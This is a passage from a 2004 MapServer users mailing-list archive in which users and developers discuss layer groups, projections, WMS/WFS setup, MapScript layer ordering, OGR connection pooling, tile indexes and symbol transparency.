"ttt.html" DATA "/srv/www/htdocs/world/data/16webbay/2995244.tif" PROJECTION "init=epsg:26915" END END I hoped that i could select them all with the GROUP - Name but did not succseded. How must i define a layer which brings all Layers of one Group to view? best regards Heiko Kehlenbrink From trianodon at flurbius.net Tue Mar 16 05:04:56 2004 From: trianodon at flurbius.net (Gabriel Codina) Date: Tue, 16 Mar 2004 05:04:56 -0800 Subject: [Mapserver-users] projections for my map data Message-ID: <200403160504.AA1280770300@flurbius.net> Hi Sorry if this is in the wrong place but Ive looked in all the usual places and dont understand the answers Ive found :-). I have Mapserv 4 running with demo data and Im in the process of loading some real data - I have a bunch of (.shp etc) files that are topographic layers of my local area (eastern Australia) Can someone at least point me towards some info that will help me specify my layers corectly. At the moment I am stuck at specifying the projection objects. each of the layers in my data comes with a .prj file that invariably is: GEOGCS["GCS_GDA_1994",DATUM["D_GDA_1994",SPHEROID["GRS_1980",6378137.0,298.257222101]],PRIMEM["Greenwich",0.0],UNIT["Degree",0.0174532925199433]] thanx in advance Gabe ________________________________________________________________ $0 Bannerless Web Hosting, 10 POP and Web Email Accounts, & more Get It Now At www.doteasy.com From gijs at gijs.com Tue Mar 16 05:37:27 2004 From: gijs at gijs.com (Gijs Epping) Date: Tue, 16 Mar 2004 14:37:27 +0100 Subject: [Mapserver-users] virtual layers befor map file layers Message-ID: <000001c40b5b$d306e370$2d00a8c0@at11> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C40B64.34CB4B70 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, I added some virtual layers, but before i do, i add the map file with his own layers (some point data). The problem is that the POINT layers are added before the RASTER layers and so you don't see them because they are behind the rasters. How can you reverse this or change the index of the map layers or dynamic layers. Thanks in advance Gijs ------=_NextPart_000_0001_01C40B64.34CB4B70 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello,

 

I added some virtual = layers, but before i do, i add the map file with his own layers (some point = data). The problem is that the POINT layers are added before the RASTER layers and so you = don’t see them because they are behind the rasters.

 

How can you reverse = this or change the index of the map layers or dynamic = layers.

 

Thanks in = advance

 

Gijs=

------=_NextPart_000_0001_01C40B64.34CB4B70-- From snow77899 at hotmail.com Tue Mar 16 05:58:37 2004 From: snow77899 at hotmail.com (snow 77) Date: Tue, 16 Mar 2004 14:58:37 +0100 Subject: [Mapserver-users] WMS error EPSG:32633 Message-ID: Hi, Can anyone tell me what I do wrong? I'd like to use WMS with the following http-request: http://localhost/cgi-bin/mapserv.exe?map=C:/inetpub/wwwroot/demo/test2.map&WMTVER=1.0.0&REQUEST=map&BBOX=393042,5147575,583042,5313825&WIDTH=400&HEIGHT=350&LAYERS=aut6__________a7&FORMAT=image/png&SRS=EPSG:32633 When I do that, I get an error from mapserv.exe (read error on the memory). If I use EPSG:4326 everything works fine but my image (map) is quite distorted. The shapefiles are epsg:4326 and the output should be epsg:32633. May I have an error in my mapfile? MAP NAME "test" STATUS ON #EXTENT 13.563817 46.2695106622074 16.166907714098 48.1749556 EXTENT 389334.69 5124995.01 586750.69 5336404.45 SIZE 400 350 SHAPEPATH "../../../Inetpub/wwwroot/demo/data" FONTSET "../../../Inetpub/wwwroot/demo/fonts/fonts.list" IMAGECOLOR 255 255 255 #UNITS DD UNITS METERS RESOLUTION 72 PROJECTION "init=epsg:32633" END WEB TEMPLATE demo.html MINSCALE 1000 MAXSCALE 1550000 IMAGEPATH "set in demo_init.html" IMAGEURL "set in demo_init.html" METADATA "WMS_TITLE" "JRS Mapserver Demo" "WMS_ABSTRACT" "This is the JRS MapServer demonstration application for Styria located in central Austria." "WMS_ACCESSCONSTRAINTS" none "WMS_ONLINERESOURCE" "http://localhost/cgi-bin/mapserv.exe?map=c:/inetpub/wwwroot/demo/test2.map&" "WMS_SRS" "EPSG:4326 EPSG:32633" END END LAYER NAME "aut6__________a7" STATUS ON PROJECTION "init=epsg:4326" END DATA "../../../../Inetpub/wwwroot/demo/data/aut6__________a7" LABELITEM "NAME" CLASS TEMPLATE void COLOR 255 255 204 OUTLINECOLOR 200 200 200 LABEL COLOR 132 31 31 COLOR 16 125 65 TYPE TRUETYPE FONT arial-bold SIZE 10 ANTIALIAS TRUE POSITION AUTO PARTIALS FALSE MINDISTANCE 300 BUFFER 4 END # end of label END TYPE POLYGON METADATA "WMS_TITLE" "aut6__________a7" "WMS_SRS" "EPSG:4326" END END END I think I have read all documentations due to this problem, but I can't find a solution. I have used the same mapfile with the template "demo.html" and it works perfect. But mapserver crashes when I try to use it as WMS. Can anyone help me? Many thanks in advance! Sonja _________________________________________________________________ Die MSN Suche - Kategorien helfen Ihnen dabei, pr?zise Ergebnisse zu erhalten. http://search.msn.at/ From eric at gomoos.org Tue Mar 16 05:56:02 2004 From: eric at gomoos.org (Eric Bridger) Date: 16 Mar 2004 08:56:02 -0500 Subject: [Mapserver-users] virtual layers befor map file layers In-Reply-To: <000001c40b5b$d306e370$2d00a8c0@at11> References: <000001c40b5b$d306e370$2d00a8c0@at11> Message-ID: <1079445367.1438.1.camel@ubet.gomoos.org> The order of you layers in your map file IS significant. Your raster layers must come first, then you points. If you are using mapscript the same principal applies, raster or polygon layers should be drawn first then your points. On Tue, 2004-03-16 at 08:37, Gijs Epping wrote: > Hello, > > I added some virtual layers, but before i do, i add the map file with > his own layers (some point data). The problem is that the POINT layers > are added before the RASTER layers and so you don't see them because > they are behind the rasters. > > How can you reverse this or change the index of the map layers or > dynamic layers. > > Thanks in advance > > Gijs From gijs at gijs.com Tue Mar 16 06:30:08 2004 From: gijs at gijs.com (Gijs Epping) Date: Tue, 16 Mar 2004 15:30:08 +0100 Subject: [Mapserver-users] virtual layers befor map file layers In-Reply-To: <1079445367.1438.1.camel@ubet.gomoos.org> Message-ID: <000001c40b63$2f2f8dd0$2d00a8c0@at11> Well i understand that but how can I add the dynamic layer before the map layers it is now like this: $gpoMap = ms_newMapObj("mapfiles/test.map"); virtual_layers($gpoMap); One content of the virtual_layer function looks like this: $layer1 = ms_newlayerObj($map); $layer1->set("name", "raster1"); $layer1->set("group", "astandaard"); $layer1->setMetaData("LYRNAME","lyrraster1"); $layer1->set("type", MS_LAYER_RASTER); $layer1->set("status", MS_ON); $layer1->set("minscale", 30000); $layer1->set("maxscale", 150000); $layer1->set("tileindex", '/var/www/html/datalocal/tileindex/raster1.shp'); $layer1->set("tileitem", location); The result of this in an array looks like this: Array ( [0] => nederland [1] => pointdata [2] => MapLayer [3] => raster1 [4] => raster2 [5] => raster3 [6] => raster4 ) The rasters must load before the pointdata. So what you are telling me is that I never can change to load order of the map may it be virtual or dynamical the load order cannot be changed. -----Oorspronkelijk bericht----- Van: Eric Bridger [mailto:eric at gomoos.org] Verzonden: dinsdag 16 maart 2004 14:56 Aan: Gijs Epping CC: Mapserver List Onderwerp: Re: [Mapserver-users] virtual layers befor map file layers The order of you layers in your map file IS significant. Your raster layers must come first, then you points. If you are using mapscript the same principal applies, raster or polygon layers should be drawn first then your points. On Tue, 2004-03-16 at 08:37, Gijs Epping wrote: > Hello, > > I added some virtual layers, but before i do, i add the map file with > his own layers (some point data). The problem is that the POINT layers > are added before the RASTER layers and so you don't see them because > they are behind the rasters. > > How can you reverse this or change the index of the map layers or > dynamic layers. > > Thanks in advance > > Gijs From Amy.Stender at erdc.usace.army.mil Tue Mar 16 06:31:12 2004 From: Amy.Stender at erdc.usace.army.mil (Stender, Amy ERDC-CRREL-NH) Date: Tue, 16 Mar 2004 08:31:12 -0600 Subject: [Mapserver-users] connection pooling Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C40B63.54C4FBC0 Content-Type: text/plain Could someone please explain connection pooling to me? I have a mapfile with *many* OGR (s57) connections and the map takes a really long time to load. I want it to be snappy. Any ideas? Thanks, Amy Amy L. Stender Remote Sensing/GIS Center Cold Regions Research and Engineering Laboratory United States Army Corps of Engineers 72 Lyme Road, Hanover, NH 03755-1290 Tel:(603)646-4733 Fax:(603) 646-4730 Amy.Stender at erdc.usace.army.mil ------_=_NextPart_001_01C40B63.54C4FBC0 Content-Type: text/html Message
Could someone please explain connection pooling to me? I have a mapfile with *many* OGR (s57) connections and the map takes a really long time to load. I want it to be snappy. Any ideas?
 
Thanks,
Amy
 
Amy L. Stender
Remote Sensing/GIS Center
Cold Regions Research and Engineering Laboratory
United States Army Corps of Engineers
72 Lyme Road, Hanover, NH 03755-1290
Tel:(603)646-4733  Fax:(603) 646-4730
Amy.Stender at erdc.usace.army.mil
 
------_=_NextPart_001_01C40B63.54C4FBC0-- From eric at gomoos.org Tue Mar 16 06:40:37 2004 From: eric at gomoos.org (Eric Bridger) Date: 16 Mar 2004 09:40:37 -0500 Subject: [Mapserver-users] virtual layers befor map file layers In-Reply-To: <000001c40b63$2f2f8dd0$2d00a8c0@at11> References: <000001c40b63$2f2f8dd0$2d00a8c0@at11> Message-ID: <1079448043.1436.7.camel@ubet.gomoos.org> I'm not quite sure I understand. What prevents you from re-arragning the the order of your Array? Anyway, my approach is to not use $map->draw(), but $layer->draw() for each of my layers. Then I have full control of the order and draw the rasters first,dynamical points after. On Tue, 2004-03-16 at 09:30, Gijs Epping wrote: > Well i understand that but how can I add the dynamic layer before the > map layers it is now like this: > > $gpoMap = ms_newMapObj("mapfiles/test.map"); > virtual_layers($gpoMap); > > One content of the virtual_layer function looks like this: > $layer1 = ms_newlayerObj($map); > $layer1->set("name", "raster1"); > $layer1->set("group", "astandaard"); > $layer1->setMetaData("LYRNAME","lyrraster1"); > $layer1->set("type", MS_LAYER_RASTER); > $layer1->set("status", MS_ON); > $layer1->set("minscale", 30000); > $layer1->set("maxscale", 150000); > $layer1->set("tileindex", > '/var/www/html/datalocal/tileindex/raster1.shp'); > $layer1->set("tileitem", location); > > The result of this in an array looks like this: > Array ( [0] => nederland [1] => pointdata [2] => MapLayer [3] => raster1 > [4] => raster2 [5] => raster3 [6] => raster4 ) > > The rasters must load before the pointdata. So what you are telling me > is that I never can change to load order of the map may it be virtual or > dynamical the load order cannot be changed. > > > > > > > > > > -----Oorspronkelijk bericht----- > Van: Eric Bridger [mailto:eric at gomoos.org] > Verzonden: dinsdag 16 maart 2004 14:56 > Aan: Gijs Epping > CC: Mapserver List > Onderwerp: Re: [Mapserver-users] virtual layers befor map file layers > > The order of you layers in your map file IS significant. Your raster > layers must come first, then you points. If you are using mapscript the > same principal applies, raster or polygon layers should be drawn first > then your points. > > On Tue, 2004-03-16 at 08:37, Gijs Epping wrote: > > Hello, > > > > I added some virtual layers, but before i do, i add the map file with > > his own layers (some point data). The problem is that the POINT layers > > are added before the RASTER layers and so you don't see them because > > they are behind the rasters. > > > > How can you reverse this or change the index of the map layers or > > dynamic layers. > > > > Thanks in advance > > > > Gijs > > > > > From warmerdam at pobox.com Tue Mar 16 07:28:27 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 16 Mar 2004 10:28:27 -0500 Subject: [Mapserver-users] connection pooling In-Reply-To: References: Message-ID: <40571D1B.1050109@pobox.com> Stender, Amy ERDC-CRREL-NH wrote: > Could someone please explain connection pooling to me? I have a mapfile > with *many* OGR (s57) connections and the map takes a really long time > to load. I want it to be snappy. Any ideas? Amy, Currently there is no support for keeping an OGR dataset open between layer renders. The net result is that the file is re-read for each layer you want to render. The connection pooling concept has not been extended to OGR connections yet. In fact, I might handle it via a different mechanism. For now, if you want fast performance, I would encourage you to just convert the layers you need to shapefiles, or load them into PostGIS. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Tue Mar 16 07:42:25 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 16 Mar 2004 10:42:25 -0500 Subject: [Mapserver-users] tile tif in muliple dir's In-Reply-To: <000001c40b3d$967f6b20$2d00a8c0@at11> References: <000001c40b3d$967f6b20$2d00a8c0@at11> Message-ID: <40572061.8040308@pobox.com> Gijs Epping wrote: > Hello, > > I want to tile multiple tif files into one shp file (this allready works > for one directory), the problem is that they are in 8 different > directory's, i did see it in the mailing list yesterday but i can't find > it anymore. > > Could somebody tell me how? > > Now I call this string for one dir: > ./gdaltindex top25.shp /var/www/html/datalocal/top25/*.tif > > I need something like this: > ./gdaltindex top25.shp /var/www/html/datalocal/top25/*.*.tif > > Thanks in advance Gijs, You can run gdaltindex multiple times (with different directories for instance) or list multiple directories on a single commandline. If the directories are all simple subdirectories of top25 you might be able to do something like: ./gdaltindex top25.shp /var/www/html/datalocal/top25/*/*.tif The key is that you have to provide all the directory seperators in your wildcarded expansion. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jhart at frw.uva.nl Tue Mar 16 08:17:04 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Tue, 16 Mar 2004 17:17:04 +0100 Subject: [Mapserver-users] connection pooling In-Reply-To: References: Message-ID: <40572880.2080003@frw.uva.nl> Stender, Amy ERDC-CRREL-NH wrote: > Could someone please explain connection pooling to me? I have a mapfile > with *many* OGR (s57) connections and the map takes a really long time > to load. I want it to be snappy. Any ideas? > I'm afraid connection pooling takes only place for databases, and AFAIK is implemented only for SDE databases at this moment. Moreover, it only pools the original connection to the database, not the actual generation of the maps: these are still generated sequentially. I don't think the OGR database extensions pool their original connections, but even so generating many layers will always take lots of time. If you *really* need to load many layers from a single MapServer call, the only solution is to use multiple servers (e.g. via WMS). Jan From gerry.creager at tamu.edu Tue Mar 16 08:21:03 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Tue, 16 Mar 2004 10:21:03 -0600 Subject: [Mapserver-users] A little OT: Internet2 members... could we talk? Message-ID: <4057296F.6080008@tamu.edu> This may be a bit off-topic, but... I'd like to get a list of the Internet2 member organizations who are using Mapserver. I'm thinking about a technology demo of WMS/WFS and distributed applications across Abilene for the Fall Members Meeting... and potentially, the Summer Joint Techs meeting. If "Internet2" is meaningless to you, I'm sorry for the bandwidth waste. For those who know their institutions are members, let's carry this farther. Thanks Gerry -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From james at danisat.net Tue Mar 16 08:30:22 2004 From: james at danisat.net (James Anderson) Date: Tue, 16 Mar 2004 18:30:22 +0200 Subject: [Mapserver-users] Mapserver symbols and transparency Message-ID: <000c01c40b74$0717ab00$0b220a0a@beast> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C40B84.BDE84140 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Hiya, I am having problems using images with transparency for symbols with the = pixmap directive. I am using a .png file as this seems to be the = easiest. Here is my problem: When I use an 8bit png file with transparency, all = works fine, the symbol overlays over the map. The problem occurs when I = use a 24bit png file. It overlays ok, but the portions of the symbol = that are transparent become totally transparent in the image output by = mapserver. I Am currently using png format for output. This means = that I can see my webpage background through the image, and this totally = sux. Why is this ? Am I doing something wrong ? I would have = thought that 24bit images with transparency or translucency would be = combined with whatever layers where below the symbol, but it seems not = so. Can anyone help ?? Thanks, James. ------=_NextPart_000_0007_01C40B84.BDE84140 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Hiya,
 
I am having problems using images with = transparency=20 for symbols with the pixmap directive.   I am using a .png = file as=20 this seems to be the easiest.
Here is my problem:  When I use an = 8bit png=20 file with transparency, all works fine, the symbol overlays over the = map. =20 The problem occurs when I use a 24bit png file.  It overlays ok, = but the=20 portions of the symbol that are transparent become totally transparent = in the=20 image output by mapserver.  I Am currently using png format for=20 output.   This means that I can see my webpage background = through the=20 image, and this totally sux.   Why is this ?  Am I doing=20 something wrong ?   I would have thought that 24bit images = with=20 transparency or translucency would be combined with whatever layers = where below=20 the symbol, but it seems not so.  Can anyone help ??
 
Thanks,
 
James.
 
------=_NextPart_000_0007_01C40B84.BDE84140-- From jeff at propertykey.com Tue Mar 16 08:55:28 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 16 Mar 2004 10:55:28 -0600 Subject: [Mapserver-users] raster layers with perl mapscript Message-ID: <40573180.80405@propertykey.com> I'm having trouble getting a raster layer to display from within a perl mapscript program. I have a map file set up with several layers, only two of which are on by default: a raster layer (aerials) and a line layer (street_names), plus a scalebar. There are other layers that aren't on by default but may be turned on by the script. When I run the CGI using the map file, it gives me the two layers and the scalebar. The perl mapscript using the same map file and the same location only gives me the street_names layer, not the aerials or the scalebar. The script does claim to draw the aerials layer, but nothing gets output. What things should I be looking at to figure out why this is happening? -- Jeff Hoffmann PropertyKey.com From siki at agt.bme.hu Tue Mar 16 11:10:49 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 16 Mar 2004 18:10:49 -0100 (GMT+1) Subject: [Mapserver-users] grouping layer {Scanned} In-Reply-To: <47207.195.243.253.146.1079441536.squirrel@webmail.fh-oldenburg.de> Message-ID: Hi, On Tue, 16 Mar 2004, Heiko Kehlenbrink wrote: > hi list, > > i have a bunch of raster layer like the following: > > LAYER > NAME "5243" > GROUP "Ortho" > STATUS OFF > TYPE RASTER > TEMPLATE "ttt.html" > DATA "/srv/www/htdocs/world/data/16webbay/2995243.tif" > PROJECTION > "init=epsg:26915" > END > END > > LAYER > NAME "5244" > GROUP "Ortho" > STATUS OFF > TYPE RASTER > TEMPLATE "ttt.html" > DATA "/srv/www/htdocs/world/data/16webbay/2995244.tif" > PROJECTION > "init=epsg:26915" > END > END > > > I hoped that i could select them all with the GROUP - Name but did not > succseded. > How must i define a layer which brings all Layers of one Group to view? > Why did you give the same template for each layers? I think you should add template name once in the WEB section. Then you can refere to the GROUP name where you can the layer name. It works for me. You had better to use TILEINDEX for the orthophotos ... Bye Zoltan From lfilak at medinaco.org Tue Mar 16 09:41:17 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 16 Mar 2004 12:41:17 -0500 Subject: [Mapserver-users] raster layers with perl mapscript Message-ID: <20040316174112.B01051A6599@mail.medinaco.org> This is probably dependant on how the script is rendering the layers. What if you edit the script/mapfile to draw only the raster layer? Lowell The following message was sent by Jeff Hoffmann on Tue, 16 Mar 2004 10:55:28 -0600. > I'm having trouble getting a raster layer to display from within a perl > mapscript program. I have a map file set up with several layers, only > two of which are on by default: a raster layer (aerials) and a line > layer (street_names), plus a scalebar. There are other layers that > aren't on by default but may be turned on by the script. When I run the > CGI using the map file, it gives me the two layers and the scalebar. > The perl mapscript using the same map file and the same location only > gives me the street_names layer, not the aerials or the scalebar. The > script does claim to draw the aerials layer, but nothing gets output. > What things should I be looking at to figure out why this is happening? > > -- > > Jeff Hoffmann > PropertyKey.com > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gcondon at ll.mit.edu Tue Mar 16 09:49:45 2004 From: gcondon at ll.mit.edu (Gary Condon) Date: Tue, 16 Mar 2004 12:49:45 -0500 Subject: [Mapserver-users] PHP MapScript on Mac OS X? Message-ID: <4F922D99-7772-11D8-8856-000393CACF38@ll.mit.edu> All, I am trying to get PHP MapScript up and running on Mac OS X 10.3 but, so far, without success. I have tried using the precompiled version provided by Server Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4. Has anybody out there gotten this to work? If so, how? Thanks is advance, Gary From rich at greenwoodmap.com Tue Mar 16 10:02:02 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Tue, 16 Mar 2004 11:02:02 -0700 Subject: [Mapserver-users] JBox and Mozilla Firefox Message-ID: <4057411A.6010504@greenwoodmap.com> Bonnin S. wrote: > ok, what parameter did you add? > (I see that you added drag and other parameters in the applet tag) > > Thanks for your response. I added: This addresses problem (1) below. When you first define and initialize the applet with: ----- Original Message ----- > From: "Richard Greenwood" > To: "Bonnin S." > Cc: > Sent: Monday, March 08, 2004 3:28 PM > Subject: Re: [Mapserver-users] JBox and Mozilla Firefox > > > >>Bonnin S. wrote: >> >>>Hi all, >>> >>>I'm working around Mapplet/JBox and I'm testing it on some popular > > browser. I have noticed that there are some problem with Mozilla Firefox. > When I try to do some operations like zoom out the Mozilla java environment > hangs and no other operations are possible. > >>>At the following address there is a mapserver/Jbox application where I > > found the error: > > http://www2.tetonwyo.org/mapserver/mapserv.exe?MAP_IMAGETYPE=gif&MAP_LEGEND_STATUS=OFF&MAP_REFERENCE_STATUS=ON&java=on&imgext=2402364.115702+1406197.272727+2458002.297520+1447897.272727&map=tc%2Ftc.map&mapext=shapes&mode=browse&zoomsize=2&template=tc.html&layers=Roads+ownership+Water+state_fed&zoomdir=0&imgxy=292.5+40.5&imgbox=292.5+40.5+292.5+40.5&help=&jump=&map_size=440+330 > >>>Any suggestion? >>>Thanks. >> >>I have not tried Firefox yet, but there are two problems that I have run >>into with Mozilla 1.6: >> >>1. A call to any of the public applet functions while the applet is >>still loading will cause it to hang. Mozilla seemed to be the only >>browser that did this. It was not so much a problem with jBox as it was >>with my own integration of jBox into the page. I was calling boxon(), >>boxoff(), or dragon() from page body's onLoad() to set the initial page >>state. However, I suspect the applet was not always fulling initialized. >>I added an additional initilization parameter just last week to avoid >>this problem. When do you try it? >> >>2. JRE 1.4.3 on Windows was causing problems. I have not had time to >>explore that further. >> >>What platform are you on? What Java VM version? You might check other >>jBox sites to see if they exhibit the same problems. I will try to load >>Firefox sometime soon. >> >>Rich -- Richard Greenwood www.greenwoodmap.com From bartvde at xs4all.nl Tue Mar 16 10:32:39 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 16 Mar 2004 19:32:39 +0100 Subject: [Mapserver-users] WFS layers In-Reply-To: <20040315203153.30795.qmail@web60006.mail.yahoo.com> References: <20040315203153.30795.qmail@web60006.mail.yahoo.com> Message-ID: Hi, I don't know if this could be the cause of your problem, but do you have a TEMPLATE set in your CLASS? BTW do you have any errors in the web server error log? Here is a WFS LAYER that works for me: CONNECTIONTYPE WFS CONNECTION "http://localhost/cgi-bin/mapserv_41.exe?map=c:/ms4w/apps/geodan_sample/map/sample_wms_wfs_server.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=popplace" LabelItem "Name" CLASS TEMPLATE "ttt_query.html" NAME "Large Cities" LABEL COLOR 118 129 27 FONT fritqat-italic TYPE truetype SIZE 8 POSITION AUTO #PARTIALS FALSE OUTLINECOLOR 255 255 255 FORCE TRUE END COLOR 0 0 0 END CLASS TEMPLATE "ttt_query.html" SYMBOL 3 SIZE 4 NAME "Cities" COLOR 0 0 0 END TOLERANCE 5 END Best regards, Bart On Mon, 15 Mar 2004 12:31:53 -0800 (PST), we wei wrote: > Hi all, > > I have a question about WFS. I have already compiled > mapserver with WFS server and client. And the > mapserver is the latest version that I got from the > nightly built. And I tested this setting running WFS > service thru a browser as follow: > > http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map&service > =WFS&version=1.0.0&request=getfeature&typename=mylayer > > And it works okay. I can successfully got all the > features in GML formats. > > However, when I tried to make add this WFS service as > the data sources in a layer of my demo application. > It does not work. > > It returns to me nothing because of the error occured. > > And I got a gml.tmp file with the follow result: > > ?xml version='1.0' encoding="ISO-8859-1" ?> > xmlns="http://www.ttt.org/myns" > xmlns:myns="http://www.ttt.org/myns" > xmlns:wfs="http://www.opengis.net/wfs" > xmlns:gml="http://www.opengis.net/gml" > xmlns:ogc="http://www.opengis.net/ogc" > > xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" > xsi:schemaLocation="http://www.opengis.net/wfs > http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd > http://www.ttt.org/myns > http://http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map;SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=mylayer"> > > inapplicable > > > > > It seems to me that I could this gml file doesn't not > contain any features so that the image of the layer > couldn't be drawns. > > I don't know if I am right but I suspect that the > resultcache is empty so that it couldn't output > anything to this GML file. > > I did put "Dump true" in my mapfile. And I put > ConnectionType WFS and > Connection > "http://localhost/cgi-bin/mapserv_wfs?map=/opt/mapfiles/wfs.map&service > =WFS&version=1.0.0&request=getfeature&typename=mylayer" > > in my mapfile too. > > I just wonder if anyone could give me some hints on > this problem ? > > I am new to this GIS stuff. Any help would be greatly > appreciated :) > > Thanks in advance! > > __________________________________ > Do you Yahoo!? > Yahoo! Mail - More reliable, more storage, less spam > http://mail.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From admin at essc.org.ph Tue Mar 16 10:33:12 2004 From: admin at essc.org.ph (ESSC Admin) Date: Wed, 17 Mar 2004 02:33:12 +0800 Subject: [Mapserver-users] pre-compiled mapserver 4.01 Message-ID: <00cc01c40b85$290a3ff0$0300000a@desktop> This is a multi-part message in MIME format. ------=_NextPart_000_00C9_01C40BC8.314CFBB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello everyone. I am having a tough time in trying out the mapserver = application. I need it to run on my website that runs on linux. however, = I don't have a linux box where i can compile the application even with = default options. And i don't have any access on my website besides ftp. = Is there a pre-compiled maserv available out there that i could download = and try? If anyone has it or willing to help me by compiling them for = me, I will greatly appreciate it. My email address is = mail at bahayserver.net Any help is welcome. Thanks a bunch. ------=_NextPart_000_00C9_01C40BC8.314CFBB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello everyone. I am having a tough = time in trying=20 out the mapserver application. I need it to run on my website that runs = on=20 linux. however, I don't have a linux box where i can compile the = application=20 even with default options. And i don't have any access on my website = besides=20 ftp. Is there a pre-compiled maserv available out there that i could = download=20 and try? If anyone has it or willing to help me by compiling them for = me, I will=20 greatly appreciate it. My email address is mail at bahayserver.net Any help = is welcome.=20 Thanks a bunch.
------=_NextPart_000_00C9_01C40BC8.314CFBB0-- From pdymecki at sympatico.ca Tue Mar 16 10:50:23 2004 From: pdymecki at sympatico.ca (Paul Dymecki) Date: Tue, 16 Mar 2004 13:50:23 -0500 Subject: [Mapserver-users] expressions Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C40B5D.A11D69E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, I was wondering how to create an expression to pull out a string from an attribute table, Ex: i want to pull out the word amphibian from a field that has "amphibian,marine,birds". Here is what i have so far: CLASS NAME "progFocus" EXPRESSION ('[progFocus]' = 'amphibian' ) # doesn't work when progFocus = 'amphibian,marine,bird' STYLE SYMBOL 3 COLOR 0 0 0 SIZE 6 MINSIZE 1 MAXSIZE 100 END END Would this require a regex expressions ? thx, Paul ------=_NextPart_000_000A_01C40B5D.A11D69E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
    I=20 was wondering how to create an expression to pull out a string from an = attribute=20 table,  Ex: i want to pull out the word amphibian from a field that = has=20 "amphibian,marine,birds".  Here is what i have so = far:
 
CLASS
      NAME=20 "progFocus"
        EXPRESSION=20 ('[progFocus]' =3D 'amphibian'=20 )      
        # doesn't work when = progFocus=20 =3D 'amphibian,marine,bird'
     =20 STYLE
        SYMBOL=20 3
        COLOR 0 0=20 0
        SIZE=20 6
        MINSIZE=20 1
        MAXSIZE=20 100
      END
   =20 END
 
Would = this require a=20 regex expressions ?
thx,
Paul
 
------=_NextPart_000_000A_01C40B5D.A11D69E0-- From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Tue Mar 16 10:58:52 2004 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Tue, 16 Mar 2004 13:58:52 -0500 Subject: [Mapserver-users] pre-compiled mapserver 4.01 Message-ID: <7CDD7B94357FD5119E800002A537C46E0B8B7377@s5-ccr-r1.ccrs.nrcan.gc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C40B88.5DB9E605 Content-Type: text/plain; charset="iso-8859-1" If you let the list know exactly what type of platform (OS version, installed libraries), someone can probably get you a very "dumb" compiled mapserver ... It will lack many of the nicer features you'd want though, such as reprojection, because of dependency on external libraries ... you could write a wrapper script that extend LD_LIBRARY_PATH and runs mapserver on your behalf though, and put the libs where mapserver is located or something like that, though I've never tried that myself. J.F. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of ESSC Admin Sent: Tuesday, March 16, 2004 1:33 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] pre-compiled mapserver 4.01 Hello everyone. I am having a tough time in trying out the mapserver application. I need it to run on my website that runs on linux. however, I don't have a linux box where i can compile the application even with default options. And i don't have any access on my website besides ftp. Is there a pre-compiled maserv available out there that i could download and try? If anyone has it or willing to help me by compiling them for me, I will greatly appreciate it. My email address is mail at bahayserver.net Any help is welcome. Thanks a bunch. ------_=_NextPart_001_01C40B88.5DB9E605 Content-Type: text/html; charset="iso-8859-1"
If you let the list know exactly what type of platform (OS version, installed libraries), someone can probably get you a very "dumb" compiled mapserver ... It will lack many of the nicer features you'd want though, such as reprojection, because of dependency on external libraries ...
 
you could write a wrapper script that extend LD_LIBRARY_PATH and runs mapserver on your behalf though, and put the libs where mapserver is located or something like that, though I've never tried that myself.
 
J.F.
